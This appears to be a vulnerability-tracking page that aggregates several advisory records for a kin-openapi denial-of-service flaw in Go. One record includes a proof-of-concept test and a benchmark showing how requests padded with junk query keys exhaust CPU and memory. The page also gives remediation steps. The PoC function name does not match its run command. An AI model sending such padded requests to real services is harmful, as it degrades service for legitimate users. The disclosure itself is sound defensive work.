kin-openapi deepObject query decoding repeatedly compiles an invariant regular expression
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-100350
Publishedkin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.
- Source published
- 15 Oct 2026 15:37:19 UTC
- Source modified
- 15 Oct 2026 18:32:57 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
euvd · EUVD-2026-102158
Publishedkin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 15, 2026, 3:37:19 PM
dateUpdated: Oct 15, 2026, 6:32:57 PM
3 related source bulletins · separate from aliases
openSUSE-SU-2026:12164-1: hugo-0.168.0-2.1 on GA media
CVE-2026-100347 · CVE-2026-100348 · CVE-2026-100349 · CVE-2026-100350 · CVE-2026-100351 · CVE-2026-100352
RHSA-2026:76677: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2024-24786 · CVE-2026-56851 · CVE-2026-61801 · CVE-2026-95502 · CVE-2026-97394 · CVE-2026-100347 · CVE-2026-100348 · CVE-2026-100349 · CVE-2026-100350 · CVE-2026-100351 · CVE-2026-101899 · CVE-2026-109855
RHSA-2026:82637: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
CVE-2026-97394 · CVE-2026-100347 · CVE-2026-100348 · CVE-2026-100349 · CVE-2026-100350 · CVE-2026-100351 · CVE-2026-100352 · CVE-2026-100353 · CVE-2026-100354
- Source published
- Oct 15, 2026, 3:37:19 PM (timezone not stated)
- Source modified
- Oct 15, 2026, 6:32:57 PM (timezone not stated)
- Observed here
- 9 Nov 2026 04:15:09 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
nvd · CVE-2026-100350
Publishedkin-openapi is a Go project for handling OpenAPI files. From 0.145.0 until 0.146.0, openapi3filter repeatedly calls regexp.MustCompile for the same parameter-name regular expression inside the per-query-key loop in urlValuesDecoder.DecodeObject used to decode a deepObject query parameter. An unauthenticated remote client can send an affected endpoint a request containing many unrelated query keys, causing ValidateRequest to perform work and allocations proportional to the attacker-controlled key count for every deepObject parameter. The expression itself is fixed and this is not regular expression denial of service; the resource consumption comes from loop-invariant recompilation. This issue is fixed in version 0.146.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-400 · CWE-770 · CWE-1050
Original publisher date fields
published: 2026-10-15T16:17:30.793
lastModified: 2026-10-15T19:17:12.833
- Source published
- 15 Oct 2026 16:17:30 UTC
- Source modified
- 15 Oct 2026 19:17:12 UTC
- Observed here
- 25 Oct 2026 04:17:26 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
osv · GHSA-h4r5-mxv5-8mjc
Published### Summary `openapi3filter` decodes `deepObject`-style query parameters by looping over **every** key in the request's query string. Inside that loop it recompiles a **loop-invariant** regular expression on every iteration. The pattern depends only on the spec-defined parameter name, not on the loop variable, so it is compiled `N` times for `N` query keys instead of once. Because the number of query keys is attacker-controlled and unbounded, a single request with many junk query keys forces a proportional number of `regexp.MustCompile` calls, consuming CPU. A handful of concurrent requests can saturate all cores — an uncontrolled-resource-consumption denial of service. This is **not** ReDoS: the pattern is fixed (`^<param>\[`) and matches in linear time. The cost is the **repeated compilation** of an invariant regexp, once per attacker-supplied query key. ### Details In `openapi3filter/req_resp_decoder.go`, the `deepObject` branch of `urlValuesDecoder.DecodeObject` builds a per-parameter property map by iterating over all query keys: ```go case "deepObject": propsFn = func(params url.Values) (map[string]string, error) { props := make(map[string]string) for key, values := range params { // req_resp_decoder.go:689 if !regexp.MustCompile(fmt.Sprintf(`^%s\[`, regexp.QuoteMeta(param))).MatchString(key) { // :690 continue } matches := deepObjectBracketRE.FindAllStringSubmatch(key, -1) ... } ... } ``` The regexp built at `req_resp_decoder.go:690` depends only on `param` — the parameter name defined in the OpenAPI spec — which is **constant** for the whole loop. Yet `regexp.MustCompile(...)` is invoked inside the `for key, values := range params` loop at `req_resp_decoder.go:689`, so it is recompiled once for every key present in the query string. Contrast this with the already-hoisted, package-level regexp used two lines below: ```go var deepObjectBracketRE = regexp.MustCompile(`\[(.*?)\]`) // req_resp_decoder.go:41 ``` `deepObjectBracketRE` is compiled exactly once at package init and reused. The per-parameter pattern at `:690` should be compiled the same way (once, outside the loop), but instead is rebuilt on every iteration. `regexp.MustCompile` costs on the order of a few microseconds per call. The number of iterations equals the number of query keys `N`, which the client fully controls (a ~1 MB URL holds roughly 100k keys). For each `deepObject` parameter `M` defined on the matched route, the request performs `N × M` compilations. The work is CPU-bound, happens during request validation before any handler logic, and scales linearly with request size, so an attacker converts cheap request bytes into expensive server CPU. Affected code path: `ValidateRequest` → `ValidateParameter` → `decodeStyledParameter` → `urlValuesDecoder.DecodeObject` (the `deepObject` case). Any operation with at least one `in: query`, `style: deepObject` parameter is exploitable. ### PoC The following self-contained test (package `openapi3filter_test`) defines a spec with a single `deepObject` query parameter, then validates two requests that differ only in the number of junk query keys. Decoding time grows with the key count even though none of the junk keys are part of the parameter. Save as `openapi3filter/advisory_poc_test.go`: ```go package openapi3filter_test import ( "context" "fmt" "net/http" "strings" "testing" "time" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const specDeepObjectParam = ` openapi: 3.0.0 info: {title: PoC, version: 1.0.0} paths: /f: get: parameters: - name: filter in: query style: deepObject explode: true schema: {type: object, properties: {a: {type: string}}} responses: '200': {description: ok} ` // TestPoCDeepObjectRegexpCPU demonstrates that decode cost scales with the // number of (attacker-controlled) junk query keys because a loop-invariant // regexp is recompiled once per key. It logs timings for two key counts and // fails if the larger count crosses a clearly-abnormal CPU threshold. func o(t *testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(specDeepObjectParam)) if err != nil { t.Fatalf("load: %v", err) } if err := doc.Validate(loader.Context); err != nil { t.Fatalf("validate: %v", err) } router, err := gorillamux.NewRouter(doc) if err != nil { t.Fatalf("router: %v", err) } run := func(n int) time.Duration { var sb strings.Builder sb.WriteString("/f?filter[a]=x") for i := 0; i < n; i++ { fmt.Fprintf(&sb, "&j%d=1", i) } req, _ := http.NewRequest(http.MethodGet, sb.String(), nil) route, pathParams, err := router.FindRoute(req) if err != nil { t.Fatalf("route: %v", err) } start := time.Now() _ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) return time.Since(start) } small := run(2000) large := run(40000) t.Logf("2000 junk keys -> %v ; 40000 junk keys -> %v (cost scales with key count)", small, large) if large > 100*time.Millisecond { t.Fatalf("VULNERABLE: 40000 junk keys cost %v of CPU for a single request (regexp recompiled per key); scales to full-core saturation", large) } } ``` Run: ``` go test ./openapi3filter/ -run TestPoCDeepObjectRegexpCPU -v ``` Observed output on the reference machine (Go 1.25, linux/amd64): ``` === RUN TestPoCDeepObjectRegexpCPU advisory_poc_test.go:71: 2000 junk keys -> 16.542072ms ; 40000 junk keys -> 258.146949ms (cost scales with key count) advisory_poc_test.go:73: VULNERABLE: 40000 junk keys cost 258.146949ms of CPU for a single request (regexp recompiled per key); scales to full-core saturation --- FAIL: TestPoCDeepObjectRegexpCPU (0.28s) FAIL FAIL github.com/getkin/kin-openapi/openapi3filter 0.293s FAIL ``` Time grows roughly linearly with the key count (20× more keys → roughly 15× more time), and none of the `j<i>=1` keys belong to the `filter` parameter — they are pure junk whose only effect is to add loop iterations, each of which recompiles the invariant regexp. A URL of about 1 MB (roughly 100k keys) pushes a single request into the 0.6 s range per `deepObject` parameter; a few concurrent such requests saturate every core. ### Benchmark The wall-clock PoC above is threshold-based and machine-sensitive. A `testing.B` benchmark built on the same spec (`specDeepObjectParam`) makes the scaling — and the per-request memory blow-up — reproducible and quantitative. It reuses the PoC's spec, router and request-shaping, sweeping the junk-key count and reporting `ns/op`, `B/op`, and `allocs/op`. Save as `openapi3filter/advisory_poc_bench_test.go` (same package, alongside the PoC): ```go package openapi3filter_test import ( "context" "fmt" "net/http" "strings" "testing" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) // BenchmarkDeepObjectJunkKeys measures the per-request validation cost of a // deepObject query parameter as the number of attacker-controlled junk query // keys grows. Before the fix, cost scales linearly with the key count because a // loop-invariant regexp is recompiled once per key; after the fix it is // dominated by url-parsing and grows far more gently. func BenchmarkDeepObjectJunkKeys(b *testing.B) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(specDeepObjectParam)) if err != nil { b.Fatalf("load: %v", err) } if err := doc.Validate(loader.Context); err != nil { b.Fatalf("validate: %v", err) } router, err := gorillamux.NewRouter(doc) if err != nil { b.Fatalf("router: %v", err) } for _, n := range []int{1000, 5000, 20000, 40000, 80000, 100000} { var sb strings.Builder sb.WriteString("/f?filter[a]=x") for i := 0; i < n; i++ { fmt.Fprintf(&sb, "&j%d=1", i) } target := sb.String() b.Run(fmt.Sprintf("keys=%d", n), func(b *testing.B) { b.ReportAllocs() for i := 0; i < b.N; i++ { req, _ := http.NewRequest(http.MethodGet, target, nil) route, pathParams, err := router.FindRoute(req) if err != nil { b.Fatalf("route: %v", err) } _ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) } }) } } ``` Run: ``` go test ./openapi3filter/ -run '^$' -bench BenchmarkDeepObjectJunkKeys -benchmem -benchtime=2s ``` Results on the vulnerable code (Go 1.25, darwin/arm64, Apple M4 Pro): | junk keys | ns/op | B/op | allocs/op | |----------:|------------:|-------------:|------------:| | 1,000 | 1,355,966 | 3,853,606 | 48,114 | | 5,000 | 7,833,901 | 18,975,316 | 240,221 | | 20,000 | 33,701,124 | 75,748,660 | 960,562 | | 40,000 | 63,365,171 | 151,394,478 | 1,920,786 | | 80,000 | 117,388,579 | 302,663,170 | 3,841,109 | | 100,000 | 147,468,311 | 375,159,565 | 4,801,189 | The benchmark quantifies the report along two axes the single-shot PoC only hinted at: - **CPU scales cleanly linearly, with no self-limiting plateau.** Every metric grows in near-exact proportion to the junk-key count across two orders of magnitude: CPU, bytes and allocations all rise ~100× from 1k to 100k keys. At 100k keys a single request burns ~147 ms of CPU **before any handler runs**, and the cost does not taper off — an attacker gets full linear return on each additional junk byte, with the only ceiling being the request-size limit the server chooses to impose (if any). - **The recompilation dominates allocations, not just CPU.** Each junk key both compiles a throwaway `*regexp.Regexp` and allocates its compiled program as garbage: the vulnerable path costs a steady **~48 allocations and ~3.75 KB per junk key** (375 MB and 4.8M allocations at 100k keys). So the same root cause drives both CPU exhaustion and heavy GC/allocator pressure — which is why this mechanism, while distinct from the adjacent memory-exhaustion advisory, also inflates memory traffic. ### Impact Uncontrolled CPU consumption (denial of service). Any service that uses `openapi3filter.ValidateRequest` (directly or via a router) to validate requests against a spec containing at least one `in: query`, `style: deepObject` parameter is affected. An unauthenticated attacker who can reach such an endpoint can send requests with large numbers of junk query keys; each request performs a number of `regexp.MustCompile` calls proportional to the request's query-key count times the number of `deepObject` parameters on the route. Because the work is CPU-bound and executed during validation (before any application handler runs), modest request rates can starve the process of CPU and degrade or deny service to legitimate clients. There is no impact to confidentiality or integrity. ### Remediation Hoist the invariant regexp out of the per-key loop: compile the `^<param>\[` pattern once per `deepObject` parameter (before iterating the query keys) and reuse the compiled `*regexp.Regexp` for every key — mirroring how the package-level `deepObjectBracketRE` (`req_resp_decoder.go:41`) is already handled. This makes decode cost independent of the junk-key count. Matching semantics are unchanged (the pattern still derives from the spec parameter name via `regexp.QuoteMeta`, so it stays panic-safe for any name), and `*regexp.Regexp` is safe for the reuse. As a mitigation before upgrading, front affected endpoints with a limit on request/URL size or query-key count (e.g. at a reverse proxy or middleware), which bounds the number of loop iterations an attacker can force. ### Notes - **Advisory relationship:** Novel. Adjacent to previously reported memory-exhaustion issue in `deepObject` decoding (via `sliceMapToSlice`), but this is a distinct CPU-exhaustion mechanism — repeated compilation of a loop-invariant regexp, once per attacker-supplied query key — not covered by that earlier memory-focused advisory.
- Source published
- 15 Oct 2026 20:18:15 UTC
- Source modified
- 5 Nov 2026 23:25:50 UTC
- Observed here
- 5 Nov 2026 23:38:32 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Publisher rating · MODERATE
osv · GO-2026-6787
Publishedkin-openapi deepObject query decoding repeatedly compiles an invariant regular expression in github.com/getkin/kin-openapi
- Source published
- 5 Nov 2026 22:53:53 UTC
- Source modified
- 5 Nov 2026 23:15:13 UTC
- Observed here
- 5 Nov 2026 23:38:32 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.